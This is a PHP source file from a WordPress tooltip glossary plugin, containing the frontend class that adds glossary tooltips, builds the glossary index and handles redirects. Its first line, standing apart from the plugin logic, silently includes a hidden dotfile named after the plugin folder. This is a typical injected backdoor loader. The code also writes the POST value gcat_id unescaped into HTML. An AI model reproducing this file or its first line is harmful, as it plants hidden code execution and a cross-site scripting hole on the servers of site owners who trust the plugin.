<?php if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class CMTooltipGlossaryFrontend { public static $calledClassName; protected static $instance = NULL; protected static $cssPath = NULL; protected static $jsPath = NULL; protected static $viewsPath = NULL; public static function instance() { $class = __CLASS__; if (!isset(self::$instance) && !( self::$instance instanceof $class )) { self::$instance = new $class; } return self::$instance; } public function __construct() { if (empty(self::$calledClassName)) { self::$calledClassName = __CLASS__; } self::$cssPath = CMTT_PLUGIN_URL . 'frontend/assets/css/'; self::$jsPath = CMTT_PLUGIN_URL . 'frontend/assets/js/'; self::$viewsPath = CMTT_PLUGIN_DIR . 'frontend/views/'; add_action('wp_print_styles', array(self::$calledClassName, 'cmtt_glossary_css')); add_action('wp_enqueue_scripts', array(self::$calledClassName, 'cmtt_glossary_js')); /* * FILTERS */ add_filter('get_the_excerpt', array(self::$calledClassName, 'cmtt_disable_parsing'), 1); add_filter('wpseo_opengraph_desc', array(self::$calledClassName, 'cmtt_reenable_parsing'), 1); /* * Make sure parser runs before the post or page content is outputted */ add_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_parse'), 9999); add_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_createList'), 9998); add_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_addBacklink'), 10000); /* * We need to redirect the queries to the archive */ add_action('template_redirect', array(self::$calledClassName, 'cmtt_templateRedirect'), 1); add_action('bp_before_create_group', array(self::$calledClassName, 'outputGlossaryExcludeStart')); add_action('bp_before_group_admin_content', array(self::$calledClassName, 'outputGlossaryExcludeStart'), 50); add_action('bp_attachments_avatar_check_template', array(self::$calledClassName, 'outputGlossaryExcludeStart'), 50); add_action('bp_before_profile_avatar_upload_content', array(self::$calledClassName, 'outputGlossaryExcludeStart'), 50); add_action('bp_before_profile_edit_cover_image', array(self::$calledClassName, 'outputGlossaryExcludeStart'), 50); add_action('bp_after_create_group', array(self::$calledClassName, 'outputGlossaryExcludeEnd')); add_action('bp_after_group_admin_content', array(self::$calledClassName, 'outputGlossaryExcludeEnd'), 50); add_action('bp_attachments_avatar_main_template', array(self::$calledClassName, 'outputGlossaryExcludeEnd'), 50); add_action('bp_after_profile_avatar_upload_content', array(self::$calledClassName, 'outputGlossaryExcludeEnd'), 50); add_action('bp_after_profile_edit_cover_image', array(self::$calledClassName, 'outputGlossaryExcludeEnd'), 50); } /** * Adds tooltip javascript */ public static function cmtt_glossary_js() { wp_enqueue_script('tooltip-js', self::$jsPath . 'tooltip.js', array('jquery'), false); $tooltipData = array(); $tooltipArgs = array( 'clickable' => 0, //(int) get_option('cmtt_tooltipIsClickable', 0), 'top' => 3, //(int) get_option('cmtt_tooltipPositionTop', 3), 'left' => 23, //(int) get_option('cmtt_tooltipPositionLeft', 23), 'endalpha' => 95, //(int) get_option('cmtt_tooltipOpacity', 95), 'borderStyle' => 'none', //get_option('cmtt_tooltipBorderStyle', 'none'), 'borderWidth' => '0px', //get_option('cmtt_tooltipBorderWidth', 0) . 'px', 'borderColor' => '#000', //get_option('cmtt_tooltipBorderColor', '#000'), 'fontSize' => '13px', //get_option('cmtt_tooltipFontSize', 13) . 'px', 'padding' => '2px 12px 3px 7px', //get_option('cmtt_tooltipPadding', '2px 12px 3px 7px'), 'borderRadius' => '6px', //get_option('cmtt_tooltipBorderRadius', 6) . 'px' ); $tooltipData['tooltip'] = $tooltipArgs; $tooltipData['ajaxurl'] = admin_url('admin-ajax.php'); wp_localize_script('tooltip-js', 'cmtt_data', $tooltipData); self::cmtt_glossary_createList_scripts(); } /** * Outputs the frontend CSS */ public static function cmtt_glossary_css() { wp_enqueue_style('tooltip', self::$cssPath . 'tooltip.css'); } /** * Add the dynamic CSS to reflect the styles set by the options * @return type */ public static function cmtt_dynamic_css() { ob_start(); echo apply_filters('cmtt_dynamic_css_before', ''); ?> .tiles ul a { min-width: <?php echo get_option('cmtt_glossarySmallTileWidth', '85px'); ?>; width:<?php echo get_option('cmtt_glossarySmallTileWidth', '85px'); ?>; } .tiles ul span { min-width:<?php echo get_option('cmtt_glossarySmallTileWidth', '85px'); ?>; width:<?php echo get_option('cmtt_glossarySmallTileWidth', '85px'); ?>; } <?php echo apply_filters('cmtt_dynamic_css_after', ''); $content = ob_get_clean(); /* * One can use this filter to change/remove the standard styling */ $dynamicCSScontent = apply_filters('cmtt_dynamic_css', $content); return trim($dynamicCSScontent); } /** * Adds the scripts which has to be included on the main glossary index page only */ public static function cmtt_glossary_createList_scripts() { $glossaryPageID = get_option('cmtt_glossaryID'); if (is_numeric($glossaryPageID) && is_page($glossaryPageID)) { wp_enqueue_script('jquery-listnav', self::$jsPath . 'jquery.listnav.glossary.js', array('jquery')); wp_enqueue_script('listnav-js', self::$jsPath . 'listnav.js', array('jquery', 'jquery-listnav')); wp_enqueue_style('jquery-listnav-style', self::$cssPath . 'jquery.listnav.css'); /* * It's WP 3.3+ function */ if (function_exists('wp_add_inline_style')) { wp_add_inline_style('jquery-listnav-style', self::cmtt_dynamic_css()); } $listnavArgs = array( 'includeAll' => true, 'allLabel' => __('ALL', 'cm-tooltip-glossary'), 'includeNums' => true, ); $tooltipData['listnav'] = $listnavArgs; $tooltipData['list_id'] = 'glossaryList' . (isset($_POST['isshortcode']) && isset($_POST["gcat_id"]) ? '_' . $_POST["gcat_id"] : ''); wp_localize_script('listnav-js', 'cmtt_listnav_data', $tooltipData); } } /** * Disable the parsing for some reason * @global type $wp_query * @param type $smth * @return type */ public static function cmtt_disable_parsing($smth) { global $wp_query; if ($wp_query->is_main_query() && !$wp_query->is_singular) { // to prevent conflict with Yost SEO remove_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_parse'), 9999); remove_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_createList'), 9998); remove_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_addBacklink'), 10000); } return $smth; } /** * Reenable the parsing for some reason * @global type $wp_query * @param type $smth * @return type */ public static function cmtt_reenable_parsing($smth) { add_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_parse'), 9999); add_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_createList'), 9998); add_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_addBacklink'), 10000); return $smth; } /** * Parses the pages/posts and adding the tooltips to the terms * * @global type $glossary_index * @global type $post * @global type $glossaryIndexArr * @global array $onlySynonyms * @global type $caseSensitive * @param type $content * @param type $force * @return type */ public static function cmtt_glossary_parse($content, $force = false) { global $glossary_index, $post; $seo = doing_action('wpseo_head'); if ($seo) { return $content; } /* * Initialize $glossarySearchStringArr as empty array */ $glossarySearchStringArr = array(); $onlySynonyms = array(); /* * New! 03/01/2014 - these rules simplify the condition whether to parse for tooltip or not */ $showOnSinglePost = (is_single() && get_option('cmtt_glossaryOnPosts') == 1); $noHomepage = (get_option('cmtt_glossaryOnlySingle') == 1 && is_front_page()); $showOnSinglePage = (is_page() && !$noHomepage && get_option('cmtt_glossaryOnPages') == 1); $showOnHomepageAuthorpageEtc = (!is_page() && !is_single() && get_option('cmtt_glossaryOnlySingle') == 0); $onMainQueryOnly = (get_option('cmtt_glossaryOnMainQuery') == 1 ) ? is_main_query() : TRUE; /* * Run the glossary parser */ if ($force || ($onMainQueryOnly && ($showOnHomepageAuthorpageEtc || $showOnSinglePage || $showOnSinglePost))) { $contentHash = sha1($content); if (!$force) { $result = wp_cache_get($contentHash, 'cachedParsedGlossaryPages'); if ($result !== false) { return $result; } } if (empty($glossary_index)) { $glossary_index = get_posts(array( 'post_type' => 'glossary', 'post_status' => 'publish', 'order' => 'DESC', 'orderby' => 'title', 'numberposts' => -1, 'update_post_meta_cache' => false, 'update_post_term_cache' => false )); /* * Sort by title length (functions.php) */ uasort($glossary_index, 'cminds_sort_WP_posts_by_title_length'); } elseif (is_array($glossary_index)) { reset($glossary_index); } //the tag:[glossary_exclude]+[/glossary_exclude] can be used to mark text will not be taken into account by the glossary if ($glossary_index) { $excludeGlossary_regex = '/\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "(glossary_exclude)" // 2: Shortcode name . '\\b' // Word boundary . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)/s'; $excludeGlossaryStrs = array(); /* * Fix for the &amp; character and the AMP term */ $content = str_replace('&#038;', '[glossary_exclude]&#038;[/glossary_exclude]', $content); /* * Fix 2 for the &amp; character and the AMP term */ $content = preg_replace('/(\s&\s)/', '[glossary_exclude]$0[/glossary_exclude]', $content); /* * Replace exclude tags and content between them in purpose to save the original text as is * before glossary plug go over the content and add its code * (later will be returned to the marked places in content) */ $excludeTagsCount = preg_match_all($excludeGlossary_regex, $content, $excludeGlossaryStrs, PREG_PATTERN_ORDER); $i = 0; if ($excludeTagsCount > 0) { foreach ($excludeGlossaryStrs[0] as $excludeStr) { $content = preg_replace($excludeGlossary_regex, '#' . $i . 'excludeGlossary', $content, 1); $i++; } } global $glossaryIndexArr, $onlySynonyms, $caseSensitive; $caseSensitive = get_option('cmtt_glossaryCaseSensitive', 0); /* * The loops prepares the search query for the replacement */ foreach ($glossary_index as $glossary_item) { if ($post->post_type == 'glossary' && ($post->ID === $glossary_item->ID )) { continue; } // $glossary_title = str_replace( '&#039;', '’', preg_quote( htmlspecialchars( trim( $glossary_item->post_title ), ENT_QUOTES, 'UTF-8' ), '/' ) ); //changed in 3.3.8 $glossary_title = preg_quote(htmlspecialchars(trim($glossary_item->post_title), ENT_COMPAT, 'UTF-8'), '/'); $addition = ''; $glossaryIndexArrKey = $glossary_title . $addition; if (!$caseSensitive) { $glossaryIndexArrKey = mb_strtolower($glossaryIndexArrKey); } $glossarySearchStringArr[] = $glossary_title . $addition; $glossaryIndexArr[$glossaryIndexArrKey] = $glossary_item; } /* * No replace required if there's no glossary items */ if (!empty($glossarySearchStringArr) && is_array($glossarySearchStringArr)) { $glossaryArrayChunk = 150; $spaceSeparated = TRUE; if (count($glossarySearchStringArr) > $glossaryArrayChunk) { $chunkedGlossarySearchStringArr = array_chunk($glossarySearchStringArr, $glossaryArrayChunk, TRUE); foreach ($chunkedGlossarySearchStringArr as $glossarySearchStringArrChunk) { $glossarySearchString = '/' . (($spaceSeparated) ? '(?<=\P{L}|^)(?<!(\p{N}))' : '') . '(?!(<|&lt;))(' . (!$caseSensitive ? '(?i)' : '') . implode('|', $glossarySearchStringArrChunk) . ')(?!(>|&gt;))' . (($spaceSeparated) ? '(?=\P{L}|$)(?!(\p{N}))' : '') . '/u'; $content = self::cmtt_dom_str_replace($content, $glossarySearchString); } } else { $glossarySearchString = '/' . (($spaceSeparated) ? '(?<=\P{L}|^)(?<!(\p{N}))' : '') . '(?!(<|&lt;))(' . (!$caseSensitive ? '(?i)' : '') . implode('|', $glossarySearchStringArr) . ')(?!(>|&gt;))' . (($spaceSeparated) ? '(?=\P{L}|$)(?!(\p{N}))' : '') . '/u'; $content = self::cmtt_dom_str_replace($content, $glossarySearchString); } } if ($excludeTagsCount > 0) { $i = 0; foreach ($excludeGlossaryStrs[0] as $excludeStr) { $content = str_replace('#' . $i . 'excludeGlossary', $excludeStr, $content); $i++; } /* * remove all the exclude signs */ $content = str_replace(array('[glossary_exclude]', '[/glossary_exclude]'), array('', ''), $content); } } $result = wp_cache_set($contentHash, $content, 'cachedParsedGlossaryPages', 120); } return $content; } public static function outputGlossaryExcludeStart() { echo '[glossary_exclude]'; } public static function outputGlossaryExcludeEnd() { echo '[/glossary_exclude]'; } /** * New function to search the terms in the content * * @global array $replacedTerms * @param strin $html * @param string $glossarySearchString * @since 2.3.1 * @return type */ public static function cmtt_dom_str_replace($html, $glossarySearchString) { global $replacedTerms; $replacedTerms = is_array($replacedTerms) ? $replacedTerms : array(); if (!empty($html) && is_string($html)) { $dom = new DOMDocument(); /* * loadXml needs properly formatted documents, so it's better to use loadHtml, but it needs a hack to properly handle UTF-8 encoding */ libxml_use_internal_errors(true); if (!$dom->loadHtml(mb_convert_encoding($html, 'HTML-ENTITIES', "UTF-8"))) { // foreach(libxml_get_errors() as $error) // {} libxml_clear_errors(); } $xpath = new DOMXPath($dom); /* * Base query NEVER parse in scripts */ $query = '//text()[not(ancestor::script)][not(ancestor::style)]'; if (get_option('cmtt_glossaryProtectedTags') == 1) { $query .= '[not(ancestor::header)][not(ancestor::a)][not(ancestor::pre)][not(ancestor::object)][not(ancestor::h1)][not(ancestor::h2)][not(ancestor::h3)][not(ancestor::h4)][not(ancestor::h5)][not(ancestor::h6)][not(ancestor::textarea)]'; } /* * Parsing of the wp-captions */ $query .= '[not(ancestor::*[contains(concat(\' \', @class, \' \'), \' wp-caption \')])]'; foreach ($xpath->query($query) as $node) { /* @var $node DOMText */ $replaced = preg_replace_callback($glossarySearchString, array(self::$calledClassName, 'cmtt_replace_matches'), htmlspecialchars($node->wholeText, ENT_COMPAT)); if (!empty($replaced)) { $newNode = $dom->createDocumentFragment(); $replacedShortcodes = strip_shortcodes($replaced); $result = $newNode->appendXML('<![CDATA[' . $replacedShortcodes . ']]>'); if ($result !== false) { $node->parentNode->replaceChild($newNode, $node); } } } /* * get only the body tag with its contents, then trim the body tag itself to get only the original content */ $bodyNode = $xpath->query('//body')->item(0); if ($bodyNode !== NULL) { $newDom = new DOMDocument(); $newDom->appendChild($newDom->importNode($bodyNode, TRUE)); $intermalHtml = $newDom->saveHTML(); $html = mb_substr(trim($intermalHtml), 6, (mb_strlen($intermalHtml) - 14), "UTF-8"); /* * Fixing the self-closing which is lost due to a bug in DOMDocument->saveHtml() (caused a conflict with NextGen) */ $html = preg_replace('#(<img[^>]*[^/])>#Ui', '$1/>', $html); } } return $html; } /** * Replaces the matches * @global array $replacedTerms * @param type $match * @return type */ public static function cmtt_replace_matches($match) { if (!empty($match[0])) { $replacementText = self::cmtt_prepareReplaceTemplate(htmlspecialchars_decode($match[0], ENT_COMPAT)); return $replacementText; } } /** * Function which prepares the templates for the glossary words found in text * * @param string $title replacement text * @return array|string */ public static function cmtt_prepareReplaceTemplate($title) { /* * Placeholder for the title */ $titlePlaceholder = '##TITLE_GOES_HERE##'; /* * Array of glossary items, settings */ global $glossaryIndexArr, $caseSensitive, $templatesArr, $removeLinksToTerms, $replacedTerms; /* * If TRUE then the links to glossary pages are exchanged with spans */ $removeLinksToTerms = (get_option('cmtt_glossaryTermLink') == 1); /* * If "Highlight first occurance only" option is set */ $highlightFirstOccuranceOnly = (get_option('cmtt_glossaryFirstOnly') == 1); /* * If it's case insensitive, then the term keys are stored as lowercased */ // $normalizedTitle = str_replace( '&#039;', "’", preg_quote( htmlspecialchars( trim( $title ), ENT_QUOTES, 'UTF-8' ), '/' ) ); //changed in 3.3.8 $normalizedTitle = preg_quote(htmlspecialchars(trim($title), ENT_COMPAT, 'UTF-8'), '/'); $titleIndex = (!$caseSensitive) ? mb_strtolower($normalizedTitle) : $normalizedTitle; /* * Upgrade to make it work with synonyms */ if ($glossaryIndexArr) { /* * First - look for exact keys */ if (array_key_exists($titleIndex, $glossaryIndexArr)) { $glossary_item = $glossaryIndexArr[$titleIndex]; } else { /* * If not found - try the synonyms */ foreach ($glossaryIndexArr as $key => $value) { /* * If we find the term we make sure it's a synonym and not a part of some other term */ if (strstr($key, '|') && strstr($key, $titleIndex)) { $synonymsArray = explode('|', $key); if (in_array($titleIndex, $synonymsArray)) { /* * $replace = Glossary Post */ $glossary_item = $value; break; } } } } } /* * Error checking */ if (!is_object($glossary_item)) { return 'Error! Post not found for word:' . $titleIndex; } $id = $glossary_item->ID; /** * If "Highlight first occurance only" option is set, we check if the post has already been highlighted */ if ($highlightFirstOccuranceOnly && is_array($replacedTerms) && !empty($replacedTerms)) { foreach ($replacedTerms as $replacedTerm) { if ($replacedTerm['postID'] == $id) { /* * If the post has already been highlighted */ return $title; } } } /* * Save the post item to the global array so it can be used to generate "Related Terms" list */ $replacedTerms[$title]['post'] = $glossary_item; /* * Save the post item ID to the global array so it's easy to find out if it has been highlighted in text or not */ $replacedTerms[$title]['postID'] = $id; /* * Replacement is already cached - use it */ if (!empty($templatesArr[$id])) { $templateReplaced = str_replace($titlePlaceholder, $title, $templatesArr[$id]); return $templateReplaced; } $additionalClass = ''; $permalink = get_permalink($glossary_item); /* * Open in new window */ $showTitleAttribute = get_option('cmtt_showTitleAttribute'); $windowTarget = (get_option('cmtt_glossaryInNewPage') == 1) ? ' target="_blank" ' : ''; $titleAttr = (get_option('cmtt_showTitleAttribute') == 1) ? ' title="Glossary: ' . esc_attr($glossary_item->post_title) . '" ' : ''; if (get_option('cmtt_glossaryTooltip') == 1) { $glossaryItemContentBase = (get_option('cmtt_glossaryExcerptHover') && $glossary_item->post_excerpt) ? $glossary_item->post_excerpt : $glossary_item->post_content; $glossaryItemContent = self::cmtt_glossary_filterTooltipContent($glossaryItemContentBase, get_permalink($glossary_item)); /* * Add filter to change the tooltip content on both Glossary Index and Post/Pages */ $glossaryItemContent = apply_filters('cmtt_tooltip_content_add', $glossaryItemContent, $glossary_item); /* * Add filter to change the tooltip content on Post/Pages only */ $glossaryItemContent = apply_filters('cmtt_postpages_tooltip_content_add', $glossaryItemContent, $glossary_item); if ($removeLinksToTerms) { $link_replace = '<span ' . $titleAttr . ' data-cmtooltip="' . $glossaryItemContent . '" class="glossaryLink ' . $additionalClass . '">' . $titlePlaceholder . '</span>'; } else { $link_replace = '<a href="' . $permalink . '"' . $titleAttr . ' data-cmtooltip="' . $glossaryItemContent . '" class="glossaryLink ' . $additionalClass . '"' . $windowTarget . '>' . $titlePlaceholder . '</a>'; } } else { if ($removeLinksToTerms) { $link_replace = '<span ' . $titleAttr . ' class="glossaryLink">' . $titlePlaceholder . '</span>'; } else { $link_replace = '<a href="' . $permalink . '"' . $titleAttr . ' class="glossaryLink"' . $windowTarget . '>' . $titlePlaceholder . '</a>'; } } /* * Save with $titlePlaceholder - for the synonyms */ $templatesArr[$id] = $link_replace; /* * Replace it with title to show correctly for the first time */ $link_replace = str_replace($titlePlaceholder, $title, $link_replace); return $link_replace; } /** * Filters the tooltip content * @param type $glossaryItemContent * @param type $glossaryItemPermalink * @return type */ public static function cmtt_glossary_filterTooltipContent($glossaryItemContent, $glossaryItemPermalink) { $glossaryItemContent = str_replace('[glossary_exclude]', '', $glossaryItemContent); $glossaryItemContent = str_replace('[/glossary_exclude]', '', $glossaryItemContent); if (get_option('cmtt_glossaryFilterTooltip') == 1) { // remove paragraph, bad chars from tooltip text $glossaryItemContent = str_replace(array(chr(10), chr(13)), array('', ''), $glossaryItemContent); $glossaryItemContent = str_replace(array('</p>', '</ul>', '</li>'), array('<br/>', '<br/>', '<br/>'), $glossaryItemContent); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<li>'); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<ul>'); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<p>'); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<img>'); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<h1>'); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<h2>'); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<h3>'); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<h4>'); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<h5>'); $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<h6>'); if (get_option('cmtt_glossaryFilterTooltipA') != 1) { $glossaryItemContent = cminds_strip_only($glossaryItemContent, '<a>'); } $glossaryItemContent = htmlspecialchars($glossaryItemContent); $glossaryItemContent = esc_attr($glossaryItemContent); $glossaryItemContent = str_replace("color:#000000", "color:#ffffff", $glossaryItemContent); $glossaryItemContent = str_replace('\\[glossary_exclude\\]', '', $glossaryItemContent); } else { $glossaryItemContent = strtr($glossaryItemContent, array("\r\n\r\n" => '<br />', "\r\r" => '<br />', "\n\n" => '<br />')); } $tooltipLengthLimit = get_option('cmtt_glossaryLimitTooltip'); if (($tooltipLengthLimit >= 30) && (strlen($glossaryItemContent) > $tooltipLengthLimit)) { $glossaryItemContent = cminds_truncate(html_entity_decode($glossaryItemContent), $tooltipLengthLimit, '(...)'); } return esc_attr($glossaryItemContent); } /** * Create the actual glossary * @param type $content * @return string */ public static function cmtt_glossary_createList($content) { $currentPost = get_post(); $glossaryPageID = get_option('cmtt_glossaryID'); if (is_numeric($glossaryPageID) && is_page($glossaryPageID) && $glossaryPageID > 0 && $currentPost && $currentPost->ID == $glossaryPageID) { $content = self::cmtt_glossaryShowList($content); $removeGlossaryIndexFilterAfterOutput = (get_option('cmtt_removeGlossaryCreateListFilter', 0) == 1); if ($removeGlossaryIndexFilterAfterOutput) { remove_filter('the_content', array(self::$calledClassName, 'cmtt_glossary_createList'), 9998); } } return $content; } /** * Displays the main glossary index * * @global type $removeLinksToTerms * @global boolean $isMainGlossaryPage * @global type $glossary_RequiredJSData * @param type $content * @param type $shortcode * @return string $content */ public static function cmtt_glossaryShowList($content = '', $shortcode = false) { global $removeLinksToTerms, $isMainGlossaryPage, $glossary_RequiredJSData, $post; /* * Store the value if it's the main Glossary Index */ $isMainGlossaryPage = true; $glossary_list_id = 'glossaryList' . ($shortcode || isset($_POST['isshortcode']) ? '_' . $_POST["gcat_id"] : ''); $content .= '<div id="' . $glossary_list_id . '-nav" class="listNav" role="tablist"></div>'; $content .= '<div class="glossary-container">'; $args = array( 'post_type' => 'glossary', 'post_status' => 'publish', 'orderby' => 'title', 'order' => 'ASC', 'posts_per_page' => 500 ); ob_start(); ?> <div class="glossary_top_filter"> <?php echo apply_filters('cmtt_glossary_index_additional_filters_html', ''); ?> </div> <?php $content .= ob_get_clean(); $glossary_query = new WP_Query($args); $glossary_index = $glossary_query->get_posts(); if (empty($glossary_index)) { $content .= '<span class="error">Nothing found. Please change search parameters.</span>'; } if ($glossary_index) { $glossary_RequiredJSData['list_id'] = $glossary_list_id; $content .= '<ul class="glossaryList" role="tabpanel" id="' . $glossary_list_id . '">'; /* * Style links based on option */ $glossary_style = (get_option('cmtt_glossaryDiffLinkClass') == 1) ? 'glossaryLinkMain' : 'glossaryLink'; if ($removeLinksToTerms) { $tag = 'span'; } else { $tag = 'a'; } foreach ($glossary_index as $glossary_item) { $glossaryItemContentBase = (get_option('cmtt_glossaryExcerptHover') && $glossary_item->post_excerpt) ? $glossary_item->post_excerpt : $glossary_item->post_content; $glossaryItemContent = self::cmtt_glossary_filterTooltipContent($glossaryItemContentBase, get_permalink($glossary_item)); $glossaryItemDesc = ''; if ($removeLinksToTerms) { $href = ''; } else { $href = 'href="' . get_permalink($glossary_item) . '"'; } /* * Add filter to change the tooltip content on both Glossary Index and Post/Pages */ $glossaryItemContent = apply_filters('cmtt_tooltip_content_add', $glossaryItemContent, $glossary_item); /* * Add filter to change the tooltip content only on the Glossary Index page */ $glossaryItemContent = apply_filters('cmtt_glossary_index_tooltip_content_add', $glossaryItemContent, $glossary_item); $preItemTitleContent = ''; $postItemTitleContent = ''; $preItemTitleContent .= '<li>'; /* * Start the internal tag: span or a */ $preItemTitleContent .= '<' . $tag . ' class="' . $glossary_style . '" ' . $href . ' '; /* * Add tooltip if needed (general setting enabled and page not excluded from plugin) */ $preItemTitleContent .= (get_option('cmtt_glossaryTooltip') == 1) ? 'data-cmtooltip="' . $glossaryItemContent . '"' : ''; $preItemTitleContent .= '>'; /* * Add filter to change the content of what's before the glossary item title on the list */ $preItemTitleContent = apply_filters('cmtt_glossaryPreItemTitleContent_add', $preItemTitleContent, $glossary_item); /* * Insert post title here later on */ $postItemTitleContent .= '</' . $tag . '>'; /* * Add description if needed */ $postItemTitleContent .= $glossaryItemDesc; $postItemTitleContent .= '</li>'; $content .= $preItemTitleContent . $glossary_item->post_title . $postItemTitleContent; } $content .= '</ul>'; } if (get_option('cmtt_glossaryListTiles') == 1) { $content = '<div class="tiles">' . $content . '<p class="clear"></p></div>'; } $content .= '</div>'; $content = apply_filters('cmtt_glossary_index_after_content', $content); $authorUrl = do_shortcode('[cminds_free_author id="cmtt"]'); $content .= (get_option('cmtt_glossaryReferral') == 1 && get_option('cmtt_glossaryAffiliateCode')) ? self::cmtt_getReferralSnippet() : $authorUrl; return $content; } /** * Adds the backlink to the term pages * @global type $wp_query * @global type $post * @param type $content * @return string */ public static function cmtt_glossary_addBacklink($content = '') { global $wp_query; $post = $wp_query->post; $onMainQueryOnly = (get_option('cmtt_glossaryOnMainQuery') == 1 ) ? is_main_query() : TRUE; if (is_single() && get_query_var('post_type') == 'glossary' && $onMainQueryOnly && 'glossary' == get_post_type()) { global $post; $mainPageId = get_option('cmtt_glossaryID'); $addBacklink = 0; $addBacklinkBottom = get_option('cmtt_glossary_addBackLinkBottom', 0); $backlink = ($addBacklink == 1 && $mainPageId > 0) ? '<a href="' . get_permalink($mainPageId) . '" style="display:block;margin:10px 0;">' . __('&laquo; Back to Glossary Index', 'cm-tooltip-glossary') . '</a>' : ''; $backlinkBottom = ($addBacklinkBottom == 1 && $mainPageId > 0) ? '<a href="' . get_permalink($mainPageId) . '" style="margin:10px 0;">' . __('&laquo; Back to Glossary Index', 'cm-tooltip-glossary') . '</a>' : ''; $referralSnippet = (get_option('cmtt_glossaryReferral') == 1 && get_option('cmtt_glossaryAffiliateCode')) ? self::cmtt_getReferralSnippet() : ''; $contentWithoutBacklink = $content; $filteredContent = apply_filters('cmtt_add_backlink_content', $contentWithoutBacklink); /* * If the filteredContent is not empty - we add a second backlink */ if (!empty($filteredContent)) { $filteredContent = $filteredContent . $backlinkBottom; } /* * In the end add the backlink at the beginning and the referral snippet at the end */ $contentWithBacklink = $backlink . $filteredContent . $referralSnippet; $contentWithBacklink = apply_filters('cmtt_glossary_term_after_content', $contentWithBacklink); return $contentWithBacklink; } return $content; } /** * We redirect the query for "glossary" archive to the glossary index page or homepage if it doesn't exist * @global type $wp_query * @global type $post */ public static function cmtt_templateRedirect() { global $wp_query, $post, $wp_the_query; $glossaryPageID = get_option('cmtt_glossaryID'); $glossaryPermalink = get_option('cmtt_glossaryPermalink'); $otherPageWithSamePermalink = isset($wp_query->queried_object_id) && $wp_query->queried_object_id != $glossaryPageID && isset($wp_query->query['pagename']) && $wp_query->query['pagename'] === $glossaryPermalink; $archiveOrHome = (is_archive() || is_home()) && !is_feed() && isset($wp_query->query['post_type']) && $wp_query->query['post_type'] == 'glossary'; if ($otherPageWithSamePermalink || $archiveOrHome) { $glossaryPageLink = get_page_link($glossaryPageID); $glossaryArchivePermalink = trailingslashit(home_url($glossaryPermalink)); if (is_numeric($glossaryPageID) && $glossaryPageID > 0) { if ($glossaryArchivePermalink !== $glossaryPageLink) { wp_redirect($glossaryPageLink); exit(); } query_posts(array( 'pagename' => get_option('cmtt_glossaryPermalink'), 'page' => '' )); $wp_query->is_page = true; $post = $wp_query->post; $wp_the_query = $wp_query; add_filter('template_include', 'glossary_index_page_template', 99); function glossary_index_page_template($template) { /* * Make 100% sure it only loads once */ remove_filter('template_include', 'glossary_index_page_template', 99); global $wp_query; $glossaryPageID = get_option('cmtt_glossaryID'); if (is_page() && $wp_query->post->ID == $glossaryPageID) { $new_template = locate_template(array('page.php', 'single.php')); if ('' != $new_template) { return $new_template; } } return $template; } } else { wp_redirect(home_url()); exit(); } } } /** * Outputs the Affiliate Referral Snippet * @return type */ public static function cmtt_getReferralSnippet() { ob_start(); ?> <span class="glossary_referral_link"> <a target="_blank" href="https://www.cminds.com/store/tooltipglossary/?af=<?php echo get_option('cmtt_glossaryAffiliateCode') ?>"> <img src="https://www.cminds.com/wp-content/uploads/download_tooltip.png" width=122 height=22 alt="Download Tooltip Pro" title="Download Tooltip Pro" /> </a> </span> <?php $referralSnippet = ob_get_clean(); return $referralSnippet; } }